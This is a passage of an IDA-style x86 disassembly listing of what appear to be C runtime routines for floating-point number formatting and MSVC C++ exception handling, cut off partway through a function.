sub_422223 proc near ; DATA XREF: sub_41D13C+28o
; ___:off_43D430o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_427860
fnstsw ax
sahf
jb short loc_422238
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422238: ; CODE XREF: sub_422223+Fj
xor eax, eax
retn
sub_422223 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42223B proc near ; CODE XREF: sub_420DB0+430p
; DATA XREF: sub_41D13C+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_422264
lea eax, [ebp+var_8]
push eax
call sub_424D28
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_422264: ; CODE XREF: sub_42223B+Cj
lea eax, [ebp+arg_8]
push eax
call sub_424D55
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_42223B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422279 proc near ; CODE XREF: sub_4224F6+17p
; sub_422540+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_4DBE5C, 0
push ebx
push esi
jz short loc_4222AE
mov ebx, [ebp+arg_8]
mov eax, dword_4DBE58
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_422591
pop ecx
pop ecx
jmp short loc_4222E6
; ---------------------------------------------------------------------------
loc_4222AE: ; CODE XREF: sub_422279+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_424DF9
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_424D82
add esp, 14h
loc_4222E6: ; CODE XREF: sub_422279+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_4222F2
mov byte ptr [eax], 2Dh
inc eax
loc_4222F2: ; CODE XREF: sub_422279+73j
test ebx, ebx
jle short loc_42230A
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_43D088
mov eax, edi
pop edi
mov [eax], cl
loc_42230A: ; CODE XREF: sub_422279+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_4DBE5C, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_41C890
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_422331
mov byte ptr [ecx], 45h
loc_422331: ; CODE XREF: sub_422279+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_422376
mov ebx, [esi+4]
dec ebx
jns short loc_422345
neg ebx
mov byte ptr [ecx], 2Dh
loc_422345: ; CODE XREF: sub_422279+C5j
inc ecx
cmp ebx, 64h
jl short loc_42235C
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_42235C: ; CODE XREF: sub_422279+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_422373
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_422373: ; CODE XREF: sub_422279+E7j
add [ecx+1], bl
loc_422376: ; CODE XREF: sub_422279+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_422279 endp
; =============== S U B R O U T I N E =======================================
sub_42237D proc near ; CODE XREF: sub_42251D+13p
; sub_422540+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_4DBE5C, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_4223B8
mov eax, dword_4DBE60
mov ebx, [esp+10h+arg_8]
mov esi, dword_4DBE58
cmp eax, ebx
jnz short loc_4223E8
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_4223E8
; ---------------------------------------------------------------------------
loc_4223B8: ; CODE XREF: sub_42237D+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_424DF9
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_424D82
add esp, 14h
loc_4223E8: ; CODE XREF: sub_42237D+22j
; sub_42237D+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_4223F6
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_4223F6: ; CODE XREF: sub_42237D+70j
mov eax, [esi+4]
test eax, eax
jg short loc_42240D
push 1
push edi
call sub_422591
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_42240F
; ---------------------------------------------------------------------------
loc_42240D: ; CODE XREF: sub_42237D+7Ej
add edi, eax
loc_42240F: ; CODE XREF: sub_42237D+8Ej
test ebx, ebx
jle short loc_422454
push 1
push edi
call sub_422591
mov al, byte_43D088
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_422454
cmp byte_4DBE5C, 0
jz short loc_422439
neg esi
jmp short loc_42243F
; ---------------------------------------------------------------------------
loc_422439: ; CODE XREF: sub_42237D+B6j
neg esi
cmp ebx, esi
jl short loc_422441
loc_42243F: ; CODE XREF: sub_42237D+BAj
mov ebx, esi
loc_422441: ; CODE XREF: sub_42237D+C0j
push ebx
push edi
call sub_422591
push ebx
push 30h
push edi
call sub_41BF70
add esp, 14h
loc_422454: ; CODE XREF: sub_42237D+94j
; sub_42237D+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_42237D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42245B proc near ; CODE XREF: sub_422540+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_424DF9
mov dword_4DBE58, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_4DBE60, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_424D82
mov eax, dword_4DBE58
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_4DBE60, ecx
setl cl
mov byte_4DBE64, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_4DBE60, eax
jl short loc_4224E1
cmp eax, ebx
jge short loc_4224E1
test cl, cl
jz short loc_4224D2
loc_4224C8: ; CODE XREF: sub_42245B+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_4224C8
and [esi-2], al
loc_4224D2: ; CODE XREF: sub_42245B+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_42251D
add esp, 0Ch
jmp short loc_4224F1
; ---------------------------------------------------------------------------
loc_4224E1: ; CODE XREF: sub_42245B+63j
; sub_42245B+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_4224F6
add esp, 10h
loc_4224F1: ; CODE XREF: sub_42245B+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42245B endp
; =============== S U B R O U T I N E =======================================
sub_4224F6 proc near ; CODE XREF: sub_42245B+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_4DBE5C, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_422279
and byte_4DBE5C, 0
add esp, 10h
retn
sub_4224F6 endp
; =============== S U B R O U T I N E =======================================
sub_42251D proc near ; CODE XREF: sub_42245B+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_4DBE5C, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_42237D
and byte_4DBE5C, 0
add esp, 0Ch
retn
sub_42251D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422540 proc near ; CODE XREF: sub_41FF3F+3AAp
; DATA XREF: sub_41D13Co ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_42257B
cmp [ebp+arg_8], 45h
jz short loc_42257B
cmp [ebp+arg_8], 66h
jnz short loc_422568
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42237D
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_422568: ; CODE XREF: sub_422540+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42245B
jmp short loc_42258C
; ---------------------------------------------------------------------------
loc_42257B: ; CODE XREF: sub_422540+7j
; sub_422540+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_422279
loc_42258C: ; CODE XREF: sub_422540+39j
add esp, 10h
pop ebp
retn
sub_422540 endp
; =============== S U B R O U T I N E =======================================
sub_422591 proc near ; CODE XREF: sub_422279+2Cp
; sub_42237D+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_4225B4
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_41B9C0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41D670
add esp, 10h
pop esi
loc_4225B4: ; CODE XREF: sub_422591+7j
pop edi
retn
sub_422591 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4225B6 proc near ; CODE XREF: ___:0041D31Cp
; sub_41D385+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_4225CC
call sub_422E52
loc_4225CC: ; CODE XREF: sub_4225B6+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_4225F4
cmp dword ptr [esi+4], 0
jz short loc_42264A
cmp [ebp+arg_14], 0
jnz short loc_42264A
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_4228FD
add esp, 10h
jmp short loc_42264A
; ---------------------------------------------------------------------------
loc_4225F4: ; CODE XREF: sub_4225B6+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_42264A
cmp dword ptr [eax], 0E06D7363h
jnz short loc_42262E
cmp [eax+14h], edi
jbe short loc_42262E
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_42262E
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_42264D
; ---------------------------------------------------------------------------
loc_42262E: ; CODE XREF: sub_4225B6+4Aj
; sub_4225B6+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_422651
add esp, 20h
loc_42264A: ; CODE XREF: sub_4225B6+23j
; sub_4225B6+29j ...
push 1
pop eax
loc_42264D: ; CODE XREF: sub_4225B6+76j
pop edi
pop esi
pop ebp
retn
sub_4225B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422651 proc near ; CODE XREF: sub_4225B6+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_422671
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_422676
loc_422671: ; CODE XREF: sub_422651+16j
call sub_422E52
loc_422676: ; CODE XREF: sub_422651+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_4227CD
cmp dword ptr [esi+10h], 3
jnz short loc_4226EA
cmp [esi+14h], edi
jnz short loc_4226EA
cmp dword ptr [esi+1Ch], 0
jnz short loc_4226EA
mov esi, dword_4DBE68
test esi, esi
jz loc_4227C8
mov eax, dword_4DBE6C
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_424F80
pop ecx
test eax, eax
pop ecx
jnz short loc_4226CC
call sub_422E52
loc_4226CC: ; CODE XREF: sub_422651+74j
cmp [esi], ebx
jnz loc_4227CD
cmp dword ptr [esi+10h], 3
jnz short loc_4226EA
cmp [esi+14h], edi
jnz short loc_4226EA
cmp dword ptr [esi+1Ch], 0
jnz short loc_4226EA
call sub_422E52
loc_4226EA: ; CODE XREF: sub_422651+41j
; sub_422651+46j ...
cmp [esi], ebx
jnz loc_4227CD
cmp dword ptr [esi+10h], 3
jnz loc_4227CD
cmp [esi+14h], edi
jnz loc_4227CD
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D4D3
add esp, 14h
mov ebx, eax
loc_422721: ; CODE XREF: sub_422651+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_4227B8
cmp [ebx], edi
jg short loc_4227AD
cmp edi, [ebx+4]
jg short loc_4227AD
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_4227AA
loc_422746: ; CODE XREF: sub_422651+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_422777
loc_422758: ; CODE XREF: sub_422651+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_4228A0
add esp, 0Ch
test eax, eax
jnz short loc_422786
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_422758
loc_422777: ; CODE XREF: sub_422651+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_422746
jmp short loc_4227AA
; ---------------------------------------------------------------------------
loc_422786: ; CODE XREF: sub_422651+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4229B1
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_4227AA: ; CODE XREF: sub_422651+F3j
; sub_422651+133j
mov edi, [ebp+var_10]
loc_4227AD: ; CODE XREF: sub_422651+DEj
; sub_422651+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_422721
; ---------------------------------------------------------------------------
loc_4227B8: ; CODE XREF: sub_422651+D6j
cmp [ebp+arg_14], 0
jz short loc_4227C8
push 1
push esi
call sub_422D26
pop ecx
pop ecx
loc_4227C8: ; CODE XREF: sub_422651+56j
; sub_422651+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4227CD: ; CODE XREF: sub_422651+37j
; sub_422651+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_4227F3
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4227F8
add esp, 20h
jmp short loc_4227C8
; ---------------------------------------------------------------------------
loc_4227F3: ; CODE XREF: sub_422651+180j
jmp sub_422DFC
sub_422651 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4227F8 proc near ; CODE XREF: sub_422651+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_4DBE70, 0
push esi
push edi
jz short loc_422829
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41D3AA
add esp, 1Ch
test eax, eax
jnz short loc_42289C
loc_422829: ; CODE XREF: sub_4227F8+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D4D3
add esp, 14h
mov esi, eax
loc_422845: ; CODE XREF: sub_4227F8+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_42289C
cmp edi, [esi]
jl short loc_422894
cmp edi, [esi+4]
jg short loc_422894
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_42286E
cmp byte ptr [ecx+8], 0
jnz short loc_422894
loc_42286E: ; CODE XREF: sub_4227F8+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4229B1
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_422894: ; CODE XREF: sub_4227F8+57j
; sub_4227F8+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_422845
; ---------------------------------------------------------------------------
loc_42289C: ; CODE XREF: sub_4227F8+2Fj
; sub_4227F8+53j
pop edi
pop esi
leave
retn
sub_4227F8 endp
; =============== S U B R O U T I N E =======================================
sub_4228A0 proc near ; CODE XREF: sub_422651+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_4228F7
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_4228F7
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_4228D1
add ecx, 8
push ecx
push edx
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4228F3
loc_4228D1: ; CODE XREF: sub_4228A0+1Fj
test byte ptr [esi], 2
jz short loc_4228DB
test byte ptr [edi], 8
jz short loc_4228F3
loc_4228DB: ; CODE XREF: sub_4228A0+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_4228EA
test byte ptr [edi], 1
jz short loc_4228F3
loc_4228EA: ; CODE XREF: sub_4228A0+43j
test al, 2
jz short loc_4228F7
test byte ptr [edi], 2
jnz short loc_4228F7
loc_4228F3: ; CODE XREF: sub_4228A0+2Fj
; sub_4228A0+39j ...
xor eax, eax
jmp short loc_4228FA
; ---------------------------------------------------------------------------
loc_4228F7: ; CODE XREF: sub_4228A0+Bj
; sub_4228A0+14j ...
push 1
pop eax
loc_4228FA: ; CODE XREF: sub_4228A0+55j
pop edi
pop esi
retn
sub_4228A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4228FD proc near ; CODE XREF: sub_4225B6+34p
; ___:004229F3p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278A8
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_42292F: ; CODE XREF: sub_4228FD+8Aj
cmp esi, [ebp+arg_C]
jz short loc_422989
cmp esi, 0FFFFFFFFh
jle short loc_42293E
cmp esi, [edi+4]
jl short loc_422943
loc_42293E: ; CODE XREF: sub_4228FD+3Aj
call sub_422E52
loc_422943: ; CODE XREF: sub_4228FD+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_42295E
push 103h
push ebx
push eax
call sub_422DB0
loc_42295E: ; CODE XREF: sub_4228FD+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42297E
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_42299B
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_42297E: ; CODE XREF: sub_4228FD+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_42292F
; ---------------------------------------------------------------------------
loc_422989: ; CODE XREF: sub_4228FD+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4228FD endp
; =============== S U B R O U T I N E =======================================
sub_42299B proc near ; CODE XREF: sub_4228FD+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_4229AC
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4229AC: ; CODE XREF: sub_42299B+Cj
jmp sub_422DFC
sub_42299B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4229B1 proc near ; CODE XREF: sub_422651+151p
; sub_4227F8+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_4229D3
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_422B62
add esp, 10h
loc_4229D3: ; CODE XREF: sub_4229B1+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_4229DF
push edi
jmp short loc_4229E2
; ---------------------------------------------------------------------------
loc_4229DF: ; CODE XREF: sub_4229B1+29j
push [ebp+arg_24]
loc_4229E2: ; CODE XREF: sub_4229B1+2Cj
call sub_41D2AC
sub_4229B1 endp
; ---------------------------------------------------------------------------
mov esi, [ebp+24h]
push dword ptr [esi]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push edi
call sub_4228FD
mov eax, [esi+4]
push 100h
push dword ptr [ebp+28h]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+10h]
push edi
push dword ptr [ebp+8]
call sub_422A2C
add esp, 2Ch
test eax, eax
jz short loc_422A27
push edi
push eax
call sub_41D26A
loc_422A27: ; CODE XREF: ___:00422A1Ej
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422A2C proc near ; CODE XREF: ___:00422A14p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278B8
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_4DBE68
mov [ebp+var_1C], ecx
mov ecx, dword_4DBE6C
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_4DBE68, edi
mov ecx, [ebp+arg_8]
mov dword_4DBE6C, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_41D331
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_422AF2
mov eax, [ebp+var_2C]
loc_422AB9: ; CODE XREF: sub_422AD2+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422A2C endp
; =============== S U B R O U T I N E =======================================
sub_422AC8 proc near ; DATA XREF: ___:004278C8o
push dword ptr [ebp-14h]
call sub_422B38
pop ecx
retn
sub_422AC8 endp
; =============== S U B R O U T I N E =======================================
sub_422AD2 proc near ; DATA XREF: ___:004278CCo
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_41D592
pop ecx
pop ecx
xor eax, eax
jmp short loc_422AB9
sub_422AD2 endp
; ---------------------------------------------------------------------------
loc_422AEA: ; DATA XREF: ___:004278C0o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_422AF2 proc near ; CODE XREF: sub_422A2C+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_4DBE68, eax
mov eax, [ebp-20h]
mov dword_4DBE6C, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_422B37
cmp dword ptr [edi+10h], 3
jnz short locret_422B37
cmp dword ptr [edi+14h], 19930520h
jnz short locret_422B37
cmp [ebp-24h], ebx
jnz short locret_422B37
cmp [ebp-2Ch], ebx
jz short locret_422B37
call sub_41D5FA
push eax
push edi
call sub_422D26
pop ecx
pop ecx
locret_422B37: ; CODE XREF: sub_422AF2+1Cj
; sub_422AF2+22j ...
retn
sub_422AF2 endp
; =============== S U B R O U T I N E =======================================
sub_422B38 proc near ; CODE XREF: sub_422AC8+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_422B5F
cmp dword ptr [eax+10h], 3
jnz short loc_422B5F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_422B5F
cmp dword ptr [eax+1Ch], 0
jnz short loc_422B5F
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422B5F: ; CODE XREF: sub_422B38+Cj
; sub_422B38+12j ...
xor eax, eax
retn
sub_422B38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422B62 proc near ; CODE XREF: sub_4229B1+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278D0
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_422D0B
cmp byte ptr [eax+8], 0
jz loc_422D0B
mov eax, [ecx+8]
test eax, eax
jz loc_422D0B
mov edx, [ebp+arg_4]
